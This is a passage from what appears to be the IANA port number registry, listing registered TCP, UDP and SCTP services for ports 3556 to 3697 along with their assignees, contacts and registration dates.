sky-transport      3556        udp    Sky Transport Protocol       [Michael_Paddon]                                      [Michael_Paddon]                                          2002-07
personalos-001     3557        tcp    PersonalOS Comm Port         [Shane_Roberts]                                       [Shane_Roberts]                                           2002-07
personalos-001     3557        udp    PersonalOS Comm Port         [Shane_Roberts]                                       [Shane_Roberts]                                           2002-07
mcp-port           3558        tcp    MCP user port                [Professor_Paul_S_Wa]                                 [Professor_Paul_S_Wa]                                     2002-07
mcp-port           3558        udp    MCP user port                [Professor_Paul_S_Wa]                                 [Professor_Paul_S_Wa]                                     2002-07
cctv-port          3559        tcp    CCTV control port            [John_Skidmore]                                       [John_Skidmore]                                           2002-07
cctv-port          3559        udp    CCTV control port            [John_Skidmore]                                       [John_Skidmore]                                           2002-07
iniserve-port      3560        tcp    INIServe port                [Peter_Moylan]                                        [Peter_Moylan]                                            2002-08
iniserve-port      3560        udp    INIServe port                [Peter_Moylan]                                        [Peter_Moylan]                                            2002-08
bmc-onekey         3561        tcp    BMC-OneKey                   [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2002-08
bmc-onekey         3561        udp    BMC-OneKey                   [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2002-08
sdbproxy           3562        tcp    SDBProxy                     [Eric_Grange]                                         [Eric_Grange]                                             2002-08
sdbproxy           3562        udp    SDBProxy                     [Eric_Grange]                                         [Eric_Grange]                                             2002-08
watcomdebug        3563        tcp    Watcom Debug                 [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
watcomdebug        3563        udp    Watcom Debug                 [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
esimport           3564        tcp    Electromed SIM port          [Francois_Marchand]                                   [Francois_Marchand]                                       2002-08
esimport           3564        udp    Electromed SIM port          [Francois_Marchand]                                   [Francois_Marchand]                                       2002-08
m2pa               3565        tcp    M2PA                                                                                                                                                                   [RFC4165]
                   3565        udp    Reserved
m2pa               3565       sctp    M2PA                                                                                                                                                                   [RFC4165]
quest-data-hub     3566        tcp    Quest Data Hub               [Greg_Cottman_2]                                      [Greg_Cottman_2]                                          2010-10-18
                   3566        udp    Reserved                                                                                                                                                  2010-10-18
dof-eps            3567        tcp    DOF Protocol Stack           [OpenDOF]                                             [Bryant_Eastham]                                          2002-08      2015-04-23
dof-eps            3567        udp    DOF Protocol Stack           [OpenDOF]                                             [Bryant_Eastham]                                          2002-08      2015-04-23
dof-tunnel-sec     3568        tcp    DOF Secure Tunnel            [OpenDOF]                                             [Bryant_Eastham]                                          2003-01      2015-04-23
dof-tunnel-sec     3568        udp    DOF Secure Tunnel            [OpenDOF]                                             [Bryant_Eastham]                                          2003-01      2015-04-23
mbg-ctrl           3569        tcp    Meinberg Control Service     [Martin_Burnicki]                                     [Martin_Burnicki]                                         2002-08
mbg-ctrl           3569        udp    Meinberg Control Service     [Martin_Burnicki]                                     [Martin_Burnicki]                                         2002-08
mccwebsvr-port     3570        tcp    MCC Web Server Port
mccwebsvr-port     3570        udp    MCC Web Server Port
megardsvr-port     3571        tcp    MegaRAID Server Port
megardsvr-port     3571        udp    MegaRAID Server Port
megaregsvrport     3572        tcp    Registration Server Port     [Sreenivas_Bagalkote]                                 [Sreenivas_Bagalkote]                                     2002-08
megaregsvrport     3572        udp    Registration Server Port     [Sreenivas_Bagalkote]                                 [Sreenivas_Bagalkote]                                     2002-08
tag-ups-1          3573        tcp    Advantage Group UPS Suite    [James_Goddard]                                       [James_Goddard]                                           2002-08
tag-ups-1          3573        udp    Advantage Group UPS Suite    [James_Goddard]                                       [James_Goddard]                                           2002-08
dmaf-server        3574        tcp    DMAF Server
dmaf-caster        3574        udp    DMAF Caster                  [Ramakrishna_Nadendla]                                [Ramakrishna_Nadendla]                                    2002-08
ccm-port           3575        tcp    Coalsere CCM Port
ccm-port           3575        udp    Coalsere CCM Port
cmc-port           3576        tcp    Coalsere CMC Port            [Chris_Hawkinson]                                     [Chris_Hawkinson]                                         2002-08
cmc-port           3576        udp    Coalsere CMC Port            [Chris_Hawkinson]                                     [Chris_Hawkinson]                                         2002-08
config-port        3577        tcp    Configuration Port
config-port        3577        udp    Configuration Port
data-port          3578        tcp    Data Port                    [Anupam_Bharali]                                      [Anupam_Bharali]                                          2002-08
data-port          3578        udp    Data Port                    [Anupam_Bharali]                                      [Anupam_Bharali]                                          2002-08
ttat3lb            3579        tcp    Tarantella Load Balancing    [Jim_Musgrave]                                        [Jim_Musgrave]                                            2002-08
ttat3lb            3579        udp    Tarantella Load Balancing    [Jim_Musgrave]                                        [Jim_Musgrave]                                            2002-08
nati-svrloc        3580        tcp    NATI-ServiceLocator          [Jason_Case]                                          [Jason_Case]                                              2002-08
nati-svrloc        3580        udp    NATI-ServiceLocator          [Jason_Case]                                          [Jason_Case]                                              2002-08
kfxaclicensing     3581        tcp    Ascent Capture Licensing     [Brad_Hamilton_2]                                     [Brad_Hamilton_2]                                         2002-08
kfxaclicensing     3581        udp    Ascent Capture Licensing     [Brad_Hamilton_2]                                     [Brad_Hamilton_2]                                         2002-08
press              3582        tcp    PEG PRESS Server             [Jim_DeLisle]                                         [Jim_DeLisle]                                             2002-08
press              3582        udp    PEG PRESS Server             [Jim_DeLisle]                                         [Jim_DeLisle]                                             2002-08
canex-watch        3583        tcp    CANEX Watch System           [Peter_Kollath]                                       [Peter_Kollath]                                           2002-08
canex-watch        3583        udp    CANEX Watch System           [Peter_Kollath]                                       [Peter_Kollath]                                           2002-08
u-dbap             3584        tcp    U-DBase Access Protocol      [Bodo_Rueskamp]                                       [Bodo_Rueskamp]                                           2002-08
u-dbap             3584        udp    U-DBase Access Protocol      [Bodo_Rueskamp]                                       [Bodo_Rueskamp]                                           2002-08
emprise-lls        3585        tcp    Emprise License Server
emprise-lls        3585        udp    Emprise License Server
emprise-lsc        3586        tcp    License Server Console       [James_J_Diaz]                                        [James_J_Diaz]                                            2002-08
emprise-lsc        3586        udp    License Server Console       [James_J_Diaz]                                        [James_J_Diaz]                                            2002-08
p2pgroup           3587        tcp    Peer to Peer Grouping        [Igor_Kostic]                                         [Igor_Kostic]                                             2002-08
p2pgroup           3587        udp    Peer to Peer Grouping        [Igor_Kostic]                                         [Igor_Kostic]                                             2002-08
sentinel           3588        tcp    Sentinel Server              [Ian_Gordon]                                          [Ian_Gordon]                                              2002-08
sentinel           3588        udp    Sentinel Server              [Ian_Gordon]                                          [Ian_Gordon]                                              2002-08
isomair            3589        tcp    isomair                      [Richard_Fleming]                                     [Richard_Fleming]                                         2002-08
isomair            3589        udp    isomair                      [Richard_Fleming]                                     [Richard_Fleming]                                         2002-08
wv-csp-sms         3590        tcp    WV CSP SMS Binding           [Matti_Salmi]                                         [Matti_Salmi]                                             2002-08
wv-csp-sms         3590        udp    WV CSP SMS Binding           [Matti_Salmi]                                         [Matti_Salmi]                                             2002-08
gtrack-server      3591        tcp    LOCANIS G-TRACK Server
gtrack-server      3591        udp    LOCANIS G-TRACK Server
gtrack-ne          3592        tcp    LOCANIS G-TRACK NE Port      [Juergen_Edelhaeuser]                                 [Juergen_Edelhaeuser]                                     2002-08
gtrack-ne          3592        udp    LOCANIS G-TRACK NE Port      [Juergen_Edelhaeuser]                                 [Juergen_Edelhaeuser]                                     2002-08
bpmd               3593        tcp    BP Model Debugger            [Keith_Fligg]                                         [Keith_Fligg]                                             2002-09
bpmd               3593        udp    BP Model Debugger            [Keith_Fligg]                                         [Keith_Fligg]                                             2002-09
mediaspace         3594        tcp    MediaSpace
mediaspace         3594        udp    MediaSpace
shareapp           3595        tcp    ShareApp                     [Jeff_King]                                           [Jeff_King]                                               2002-09
shareapp           3595        udp    ShareApp                     [Jeff_King]                                           [Jeff_King]                                               2002-09
iw-mmogame         3596        tcp    Illusion Wireless MMOG       [Jan_Vrsinsky]                                        [Jan_Vrsinsky]                                            2002-09
iw-mmogame         3596        udp    Illusion Wireless MMOG       [Jan_Vrsinsky]                                        [Jan_Vrsinsky]                                            2002-09
a14                3597        tcp    A14 (AN-to-SC/MM)
a14                3597        udp    A14 (AN-to-SC/MM)
a15                3598        tcp    A15 (AN-to-AN)               [David_Ott]                                           [David_Ott]                                               2002-09
a15                3598        udp    A15 (AN-to-AN)               [David_Ott]                                           [David_Ott]                                               2002-09
quasar-server      3599        tcp    Quasar Accounting Server     [Brad_Pepers]                                         [Brad_Pepers]                                             2002-09
quasar-server      3599        udp    Quasar Accounting Server     [Brad_Pepers]                                         [Brad_Pepers]                                             2002-09
trap-daemon        3600        tcp    text relay-answer            [John_Willis]                                         [John_Willis]                                             2002-09      2017-07-26
trap-daemon        3600        udp    text relay-answer            [John_Willis]                                         [John_Willis]                                             2002-09      2017-07-26
visinet-gui        3601        tcp    Visinet Gui                  [Jeff_Douglass]                                       [Jeff_Douglass]                                           2002-09
visinet-gui        3601        udp    Visinet Gui                  [Jeff_Douglass]                                       [Jeff_Douglass]                                           2002-09
infiniswitchcl     3602        tcp    InfiniSwitch Mgr Client      [Lee_VanTine]                                         [Lee_VanTine]                                             2002-09
infiniswitchcl     3602        udp    InfiniSwitch Mgr Client      [Lee_VanTine]                                         [Lee_VanTine]                                             2002-09
int-rcv-cntrl      3603        tcp    Integrated Rcvr Control      [Dave_Stone]                                          [Dave_Stone]                                              2002-09
int-rcv-cntrl      3603        udp    Integrated Rcvr Control      [Dave_Stone]                                          [Dave_Stone]                                              2002-09
bmc-jmx-port       3604        tcp    BMC JMX Port                 [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2002-09
bmc-jmx-port       3604        udp    BMC JMX Port                 [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2002-09
comcam-io          3605        tcp    ComCam IO Port               [Don_Gilbreath]                                       [Don_Gilbreath]                                           2002-09
comcam-io          3605        udp    ComCam IO Port               [Don_Gilbreath]                                       [Don_Gilbreath]                                           2002-09
splitlock          3606        tcp    Splitlock Server             [Andrew_Tune]                                         [Andrew_Tune]                                             2002-09
splitlock          3606        udp    Splitlock Server             [Andrew_Tune]                                         [Andrew_Tune]                                             2002-09
precise-i3         3607        tcp    Precise I3                   [Tomer_Shain]                                         [Tomer_Shain]                                             2002-09
precise-i3         3607        udp    Precise I3                   [Tomer_Shain]                                         [Tomer_Shain]                                             2002-09
trendchip-dcp      3608        tcp    Trendchip control protocol   [Ming_Jen_Chen]                                       [Ming_Jen_Chen]                                           2002-09
trendchip-dcp      3608        udp    Trendchip control protocol   [Ming_Jen_Chen]                                       [Ming_Jen_Chen]                                           2002-09
cpdi-pidas-cm      3609        tcp    CPDI PIDAS Connection Mon    [Tony_Splaver]                                        [Tony_Splaver]                                            2002-09
cpdi-pidas-cm      3609        udp    CPDI PIDAS Connection Mon    [Tony_Splaver]                                        [Tony_Splaver]                                            2002-09
echonet            3610        tcp    ECHONET                      [Takeshi_Saito]                                       [Takeshi_Saito]                                           2002-09
echonet            3610        udp    ECHONET                      [Takeshi_Saito]                                       [Takeshi_Saito]                                           2002-09
six-degrees        3611        tcp    Six Degrees Port             [Zach_Nies]                                           [Zach_Nies]                                               2002-09
six-degrees        3611        udp    Six Degrees Port             [Zach_Nies]                                           [Zach_Nies]                                               2002-09
hp-dataprotect     3612        tcp    HP Data Protector            [Hewlett_Packard_2]                                   [Oliver_Breyel]                                           2002-09      2013-02-07
hp-dataprotect     3612        udp    HP Data Protector            [Hewlett_Packard_2]                                   [Oliver_Breyel]                                           2002-09      2013-02-07
alaris-disc        3613        tcp    Alaris Device Discovery      [Chris_Dern]                                          [Chris_Dern]                                              2004-06
alaris-disc        3613        udp    Alaris Device Discovery      [Chris_Dern]                                          [Chris_Dern]                                              2004-06
sigma-port         3614        tcp    Satchwell Sigma              [Dave_Chapman]                                        [Dave_Chapman]                                            2011-06-06
sigma-port         3614        udp    Satchwell Sigma              [Dave_Chapman]                                        [Dave_Chapman]                                            2011-06-06
start-network      3615        tcp    Start Messaging Network      [Peter_Rocca]                                         [Peter_Rocca]                                             2002-10
start-network      3615        udp    Start Messaging Network      [Peter_Rocca]                                         [Peter_Rocca]                                             2002-10
cd3o-protocol      3616        tcp    cd3o Control Protocol        [Chris_Wilcox]                                        [Chris_Wilcox]                                            2002-10
cd3o-protocol      3616        udp    cd3o Control Protocol        [Chris_Wilcox]                                        [Chris_Wilcox]                                            2002-10
sharp-server       3617        tcp    ATI SHARP Logic Engine       [Bill_Reveile]                                        [Bill_Reveile]
sharp-server       3617        udp    ATI SHARP Logic Engine       [Bill_Reveile]                                        [Bill_Reveile]
aairnet-1          3618        tcp    AAIR-Network 1
aairnet-1          3618        udp    AAIR-Network 1
aairnet-2          3619        tcp    AAIR-Network 2               [James_Mealey]                                        [James_Mealey]                                            2002-10
aairnet-2          3619        udp    AAIR-Network 2               [James_Mealey]                                        [James_Mealey]                                            2002-10
ep-pcp             3620        tcp    EPSON Projector Control Port
ep-pcp             3620        udp    EPSON Projector Control Port
ep-nsp             3621        tcp    EPSON Network Screen Port    [SEIKO_EPSON_3]                                       [SEIKO_EPSON_3]                                           2002-10
ep-nsp             3621        udp    EPSON Network Screen Port    [SEIKO_EPSON_3]                                       [SEIKO_EPSON_3]                                           2002-10
ff-lr-port         3622        tcp    FF LAN Redundancy Port       [Fieldbus_Foundation]                                 [Fieldbus_Foundation]                                     2002-10
ff-lr-port         3622        udp    FF LAN Redundancy Port       [Fieldbus_Foundation]                                 [Fieldbus_Foundation]                                     2002-10
haipe-discover     3623        tcp    HAIPIS Dynamic Discovery     [Mike_Irani]                                          [Mike_Irani]                                              2002-10
haipe-discover     3623        udp    HAIPIS Dynamic Discovery     [Mike_Irani]                                          [Mike_Irani]                                              2002-10
dist-upgrade       3624        tcp    Distributed Upgrade Port     [Jason_Schoon]                                        [Jason_Schoon]                                            2002-10
dist-upgrade       3624        udp    Distributed Upgrade Port     [Jason_Schoon]                                        [Jason_Schoon]                                            2002-10
volley             3625        tcp    Volley                       [David_Catmull]                                       [David_Catmull]                                           2002-10
volley             3625        udp    Volley                       [David_Catmull]                                       [David_Catmull]                                           2002-10
bvcdaemon-port     3626        tcp    bvControl Daemon             [Ravi_Gokhale]                                        [Ravi_Gokhale]                                            2002-10
bvcdaemon-port     3626        udp    bvControl Daemon             [Ravi_Gokhale]                                        [Ravi_Gokhale]                                            2002-10
jamserverport      3627        tcp    Jam Server Port              [Art_Pope]                                            [Art_Pope]                                                2002-10
jamserverport      3627        udp    Jam Server Port              [Art_Pope]                                            [Art_Pope]                                                2002-10
ept-machine        3628        tcp    EPT Machine Interface        [Victor_H_Farrace]                                    [Victor_H_Farrace]                                        2002-10
ept-machine        3628        udp    EPT Machine Interface        [Victor_H_Farrace]                                    [Victor_H_Farrace]                                        2002-10
escvpnet           3629        tcp    ESC/VP.net                   [Hiroyuki_Hashimoto]                                  [Hiroyuki_Hashimoto]                                      2002-10
escvpnet           3629        udp    ESC/VP.net                   [Hiroyuki_Hashimoto]                                  [Hiroyuki_Hashimoto]                                      2002-10
cs-remote-db       3630        tcp    C&S Remote Database Port
cs-remote-db       3630        udp    C&S Remote Database Port
cs-services        3631        tcp    C&S Web Services Port        [Computer_Software_Gm]                                [Computer_Software_Gm]                                    2002-10
cs-services        3631        udp    C&S Web Services Port        [Computer_Software_Gm]                                [Computer_Software_Gm]                                    2002-10
distcc             3632        tcp    distributed compiler         [Martin_Pool]                                         [Martin_Pool]                                             2002-11                                                                                        Defined TXT keys: None
distcc             3632        udp    distributed compiler         [Martin_Pool]                                         [Martin_Pool]                                             2002-11                                                                                        Defined TXT keys: None
wacp               3633        tcp    Wyrnix AIS port              [Harry_T_Vennik]                                      [Harry_T_Vennik]                                          2002-11
wacp               3633        udp    Wyrnix AIS port              [Harry_T_Vennik]                                      [Harry_T_Vennik]                                          2002-11
hlibmgr            3634        tcp    hNTSP Library Manager        [Kenji_Tetsuyama]                                     [Kenji_Tetsuyama]                                         2002-11
hlibmgr            3634        udp    hNTSP Library Manager        [Kenji_Tetsuyama]                                     [Kenji_Tetsuyama]                                         2002-11
sdo                3635        tcp    Simple Distributed Objects   [Alexander_Philippou]                                 [Alexander_Philippou]                                     2002-11
sdo                3635        udp    Simple Distributed Objects   [Alexander_Philippou]                                 [Alexander_Philippou]                                     2002-11
servistaitsm       3636        tcp    SerVistaITSM                 [Ralph_Campbell]                                      [Ralph_Campbell]                                          2002-11
servistaitsm       3636        udp    SerVistaITSM                 [Ralph_Campbell]                                      [Ralph_Campbell]                                          2002-11
scservp            3637        tcp    Customer Service Port        [Jonathan_A_Zdziarsk]                                 [Jonathan_A_Zdziarsk]                                     2002-11
scservp            3637        udp    Customer Service Port        [Jonathan_A_Zdziarsk]                                 [Jonathan_A_Zdziarsk]                                     2002-11
ehp-backup         3638        tcp    EHP Backup Protocol          [Ed_Fair]                                             [Ed_Fair]                                                 2002-11
ehp-backup         3638        udp    EHP Backup Protocol          [Ed_Fair]                                             [Ed_Fair]                                                 2002-11
xap-ha             3639        tcp    Extensible Automation        [Mark_Harrison]                                       [Mark_Harrison]                                           2002-11
xap-ha             3639        udp    Extensible Automation        [Mark_Harrison]                                       [Mark_Harrison]                                           2002-11
netplay-port1      3640        tcp    Netplay Port 1
netplay-port1      3640        udp    Netplay Port 1
netplay-port2      3641        tcp    Netplay Port 2               [Predrag_Filipovic]                                   [Predrag_Filipovic]                                       2002-11
netplay-port2      3641        udp    Netplay Port 2               [Predrag_Filipovic]                                   [Predrag_Filipovic]                                       2002-11
juxml-port         3642        tcp    Juxml Replication port       [Colin_Reid]                                          [Colin_Reid]                                              2002-11
juxml-port         3642        udp    Juxml Replication port       [Colin_Reid]                                          [Colin_Reid]                                              2002-11
audiojuggler       3643        tcp    AudioJuggler                 [Morten_Mertner]                                      [Morten_Mertner]                                          2002-11
audiojuggler       3643        udp    AudioJuggler                 [Morten_Mertner]                                      [Morten_Mertner]                                          2002-11
ssowatch           3644        tcp    ssowatch                     [Marie_France_Dubreui]                                [Marie_France_Dubreui]                                    2002-11
ssowatch           3644        udp    ssowatch                     [Marie_France_Dubreui]                                [Marie_France_Dubreui]                                    2002-11
cyc                3645        tcp    Cyc                          [Stephen_Reed]                                        [Stephen_Reed]                                            2003-01
cyc                3645        udp    Cyc                          [Stephen_Reed]                                        [Stephen_Reed]                                            2003-01
xss-srv-port       3646        tcp    XSS Server Port              [Joe_Purcell]                                         [Joe_Purcell]                                             2003-01
xss-srv-port       3646        udp    XSS Server Port              [Joe_Purcell]                                         [Joe_Purcell]                                             2003-01
splitlock-gw       3647        tcp    Splitlock Gateway            [Andrew_Tune]                                         [Andrew_Tune]                                             2003-01
splitlock-gw       3647        udp    Splitlock Gateway            [Andrew_Tune]                                         [Andrew_Tune]                                             2003-01
fjcp               3648        tcp    Fujitsu Cooperation Port     [Kouji_Sugisawa]                                      [Kouji_Sugisawa]                                          2003-01
fjcp               3648        udp    Fujitsu Cooperation Port     [Kouji_Sugisawa]                                      [Kouji_Sugisawa]                                          2003-01
nmmp               3649        tcp    Nishioka Miyuki Msg Protocol [TAKEDA_Hiroyuki]                                     [TAKEDA_Hiroyuki]                                         2003-01
nmmp               3649        udp    Nishioka Miyuki Msg Protocol [TAKEDA_Hiroyuki]                                     [TAKEDA_Hiroyuki]                                         2003-01
prismiq-plugin     3650        tcp    PRISMIQ VOD plug-in          [Richard_Hodges_3]                                    [Richard_Hodges_3]                                        2003-01
prismiq-plugin     3650        udp    PRISMIQ VOD plug-in          [Richard_Hodges_3]                                    [Richard_Hodges_3]                                        2003-01
xrpc-registry      3651        tcp    XRPC Registry                [Slava_Monich]                                        [Slava_Monich]                                            2003-01
xrpc-registry      3651        udp    XRPC Registry                [Slava_Monich]                                        [Slava_Monich]                                            2003-01
vxcrnbuport        3652        tcp    VxCR NBU Default Port        [Boris_Star]                                          [Boris_Star]                                              2003-01
vxcrnbuport        3652        udp    VxCR NBU Default Port        [Boris_Star]                                          [Boris_Star]                                              2003-01
tsp                3653        tcp    Tunnel Setup Protocol        [Marc_Blanchet]                                       [Marc_Blanchet]                                           2003-01                   [RFC5572]
tsp                3653        udp    Tunnel Setup Protocol        [Marc_Blanchet]                                       [Marc_Blanchet]                                           2003-01                   [RFC5572]
vaprtm             3654        tcp    VAP RealTime Messenger       [Boris_Polevoy]                                       [Boris_Polevoy]                                           2003-01
vaprtm             3654        udp    VAP RealTime Messenger       [Boris_Polevoy]                                       [Boris_Polevoy]                                           2003-01
abatemgr           3655        tcp    ActiveBatch Exec Agent
abatemgr           3655        udp    ActiveBatch Exec Agent
abatjss            3656        tcp    ActiveBatch Job Scheduler    [Ben_Rosenberg]                                       [Ben_Rosenberg]                                           2003-01
abatjss            3656        udp    ActiveBatch Job Scheduler    [Ben_Rosenberg]                                       [Ben_Rosenberg]                                           2003-01
immedianet-bcn     3657        tcp    ImmediaNet Beacon            [Bill_Homan]                                          [Bill_Homan]                                              2003-01
immedianet-bcn     3657        udp    ImmediaNet Beacon            [Bill_Homan]                                          [Bill_Homan]                                              2003-01
ps-ams             3658        tcp    PlayStation AMS (Secure)     [Edgar_Alan_Tu]                                       [Edgar_Alan_Tu]                                           2003-01
ps-ams             3658        udp    PlayStation AMS (Secure)     [Edgar_Alan_Tu]                                       [Edgar_Alan_Tu]                                           2003-01
apple-sasl         3659        tcp    Apple SASL                   [David_M_O_Rourke]                                    [David_M_O_Rourke]                                        2003-01
apple-sasl         3659        udp    Apple SASL                   [David_M_O_Rourke]                                    [David_M_O_Rourke]                                        2003-01
can-nds-ssl        3660        tcp    IBM Tivoli Directory Service
                                      using SSL
can-nds-ssl        3660        udp    IBM Tivoli Directory Service
                                      using SSL
can-ferret-ssl     3661        tcp    IBM Tivoli Directory Service [Nic_Catrambone]                                      [Nic_Catrambone]                                          2003-01
                                      using SSL
can-ferret-ssl     3661        udp    IBM Tivoli Directory Service [Nic_Catrambone]                                      [Nic_Catrambone]                                          2003-01
                                      using SSL
pserver            3662        tcp    pserver                      [Patrick_Furlong]                                     [Patrick_Furlong]                                         2003-01
pserver            3662        udp    pserver                      [Patrick_Furlong]                                     [Patrick_Furlong]                                         2003-01
dtp                3663        tcp    DIRECWAY Tunnel Protocol     [John_Border]                                         [John_Border]                                             2003-01
dtp                3663        udp    DIRECWAY Tunnel Protocol     [John_Border]                                         [John_Border]                                             2003-01
ups-engine         3664        tcp    UPS Engine Port
ups-engine         3664        udp    UPS Engine Port
ent-engine         3665        tcp    Enterprise Engine Port       [Mike_Delgrosso]                                      [Mike_Delgrosso]                                          2003-01
ent-engine         3665        udp    Enterprise Engine Port       [Mike_Delgrosso]                                      [Mike_Delgrosso]                                          2003-01
eserver-pap        3666        tcp    IBM eServer PAP              [Dave_Gimpl]                                          [Dave_Gimpl]                                              2003-01
eserver-pap        3666        udp    IBM EServer PAP              [Dave_Gimpl]                                          [Dave_Gimpl]                                              2003-01
infoexch           3667        tcp    IBM Information Exchange     [Paul_Ford_Hutchinson]                                [Paul_Ford_Hutchinson]                                    2003-01
infoexch           3667        udp    IBM Information Exchange     [Paul_Ford_Hutchinson]                                [Paul_Ford_Hutchinson]                                    2003-01
dell-rm-port       3668        tcp    Dell Remote Management       [Bradley_Bransom]                                     [Bradley_Bransom]                                         2003-01
dell-rm-port       3668        udp    Dell Remote Management       [Bradley_Bransom]                                     [Bradley_Bransom]                                         2003-01
casanswmgmt        3669        tcp    CA SAN Switch Management     [Emre_Tunar]                                          [Emre_Tunar]                                              2003-01
casanswmgmt        3669        udp    CA SAN Switch Management     [Emre_Tunar]                                          [Emre_Tunar]                                              2003-01
smile              3670        tcp    SMILE TCP/UDP Interface      [Andre_Petras]                                        [Andre_Petras]                                            2003-01
smile              3670        udp    SMILE TCP/UDP Interface      [Andre_Petras]                                        [Andre_Petras]                                            2003-01
efcp               3671        tcp    e Field Control (EIBnet)     [Marc_Goossens]                                       [Marc_Goossens]                                           2003-01
efcp               3671        udp    e Field Control (EIBnet)     [Marc_Goossens]                                       [Marc_Goossens]                                           2003-01
lispworks-orb      3672        tcp    LispWorks ORB                [Lisp_Support]                                        [Lisp_Support]
lispworks-orb      3672        udp    LispWorks ORB                [Lisp_Support]                                        [Lisp_Support]
mediavault-gui     3673        tcp    Openview Media Vault GUI     [Stephen_Gold]                                        [Stephen_Gold]                                            2003-01
mediavault-gui     3673        udp    Openview Media Vault GUI     [Stephen_Gold]                                        [Stephen_Gold]                                            2003-01
wininstall-ipc     3674        tcp    WinINSTALL IPC Port          [Bill_Somerville]                                     [Bill_Somerville]                                         2008-08-13
wininstall-ipc     3674        udp    WinINSTALL IPC Port          [Bill_Somerville]                                     [Bill_Somerville]                                         2008-08-13
calltrax           3675        tcp    CallTrax Data Port           [Oliver_Bailey]                                       [Oliver_Bailey]                                           2003-01
calltrax           3675        udp    CallTrax Data Port           [Oliver_Bailey]                                       [Oliver_Bailey]                                           2003-01
va-pacbase         3676        tcp    VisualAge Pacbase server     [Dominique_Lelievre]                                  [Dominique_Lelievre]                                      2003-01
va-pacbase         3676        udp    VisualAge Pacbase server     [Dominique_Lelievre]                                  [Dominique_Lelievre]                                      2003-01
roverlog           3677        tcp    RoverLog IPC                 [Tom_Mayo]                                            [Tom_Mayo]                                                2003-01
roverlog           3677        udp    RoverLog IPC                 [Tom_Mayo]                                            [Tom_Mayo]                                                2003-01
ipr-dglt           3678        tcp    DataGuardianLT               [Bruce_Carlson]                                       [Bruce_Carlson]                                           2003-01
ipr-dglt           3678        udp    DataGuardianLT               [Bruce_Carlson]                                       [Bruce_Carlson]                                           2003-01
Escale (Newton     3679        tcp    Newton Dock                  [Paul_Guyot]                                          [Paul_Guyot]                                                           2011-11-09
Dock)
Escale (Newton     3679        udp    Newton Dock                  [Paul_Guyot]                                          [Paul_Guyot]                                                           2011-11-09
Dock)
npds-tracker       3680        tcp    NPDS Tracker                 [Paul_Guyot]                                          [Paul_Guyot]                                              2003-01
npds-tracker       3680        udp    NPDS Tracker                 [Paul_Guyot]                                          [Paul_Guyot]                                              2003-01
bts-x73            3681        tcp    BTS X73 Port                 [Todd_Cooper]                                         [Todd_Cooper]                                             2003-01
bts-x73            3681        udp    BTS X73 Port                 [Todd_Cooper]                                         [Todd_Cooper]                                             2003-01
cas-mapi           3682        tcp    EMC SmartPackets-MAPI        [Koen_Schoofs]                                        [Koen_Schoofs]                                            2003-01
cas-mapi           3682        udp    EMC SmartPackets-MAPI        [Koen_Schoofs]                                        [Koen_Schoofs]                                            2003-01
bmc-ea             3683        tcp    BMC EDV/EA                   [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2003-01
bmc-ea             3683        udp    BMC EDV/EA                   [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2003-01
faxstfx-port       3684        tcp    FAXstfX                      [Alec_Carlson]                                        [Alec_Carlson]                                            2003-01
faxstfx-port       3684        udp    FAXstfX                      [Alec_Carlson]                                        [Alec_Carlson]                                            2003-01
dsx-agent          3685        tcp    DS Expert Agent              [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16
dsx-agent          3685        udp    DS Expert Agent              [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16
tnmpv2             3686        tcp    Trivial Network Management   [Andrea_Premoli]                                      [Andrea_Premoli]                                          2003-01
tnmpv2             3686        udp    Trivial Network Management   [Andrea_Premoli]                                      [Andrea_Premoli]                                          2003-01
simple-push        3687        tcp    simple-push
simple-push        3687        udp    simple-push
simple-push-s      3688        tcp    simple-push Secure           [C_Enrique_Ortiz]                                     [C_Enrique_Ortiz]                                         2003-01
simple-push-s      3688        udp    simple-push Secure           [C_Enrique_Ortiz]                                     [C_Enrique_Ortiz]                                         2003-01
daap               3689        tcp    Digital Audio Access         [Amandeep_Jawa]                                       [Amandeep_Jawa]                                           2003-01                                                                                        Defined TXT keys: txtvers, Version, iTSh Version, Machine ID,
                                      Protocol (iTunes)                                                                                                                                                                                                                           Database ID, Machine Name, Password
daap               3689        udp    Digital Audio Access         [Amandeep_Jawa]                                       [Amandeep_Jawa]                                           2003-01                                                                                        Defined TXT keys: txtvers, Version, iTSh Version, Machine ID,
                                      Protocol (iTunes)                                                                                                                                                                                                                           Database ID, Machine Name, Password
svn                3690        tcp    Subversion                   [Greg_Hudson_2]                                       [Greg_Hudson_2]                                           2003-01
svn                3690        udp    Subversion                   [Greg_Hudson_2]                                       [Greg_Hudson_2]                                           2003-01
magaya-network     3691        tcp    Magaya Network Port          [Jesus_David_Rodrigue]                                [Jesus_David_Rodrigue]                                    2003-02
magaya-network     3691        udp    Magaya Network Port          [Jesus_David_Rodrigue]                                [Jesus_David_Rodrigue]                                    2003-02
intelsync          3692        tcp    Brimstone IntelSync          [Davey_Taylor]                                        [Davey_Taylor]                                            2003-02
intelsync          3692        udp    Brimstone IntelSync          [Davey_Taylor]                                        [Davey_Taylor]                                            2003-02
easl               3693        tcp    Emergency Automatic          [Mele_Associates]                                     [Greg_Hansen][Randy_Yates]                                2014-11-26                                                                                     This port was previously removed on 2007-04-05.
                                      Structure Lockdown System
                   3693        udp    Reserved                                                                                                                                                  2014-11-26                                                                        This port was previously removed on 2007-04-05.
                   3694               Unassigned                                                                                                                                                2007-04-05
bmc-data-coll      3695        tcp    BMC Data Collection          [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2003-02
bmc-data-coll      3695        udp    BMC Data Collection          [Portnoy_Boxman]                                      [Portnoy_Boxman]                                          2003-02
telnetcpcd         3696        tcp    Telnet Com Port Control      [Thomas_J_Pinkl]                                      [Thomas_J_Pinkl]                                          2003-02
telnetcpcd         3696        udp    Telnet Com Port Control      [Thomas_J_Pinkl]                                      [Thomas_J_Pinkl]                                          2003-02
nw-license         3697        tcp    NavisWorks License System    [Tim_Wiegand]                                         [Tim_Wiegand]                                             2003-02
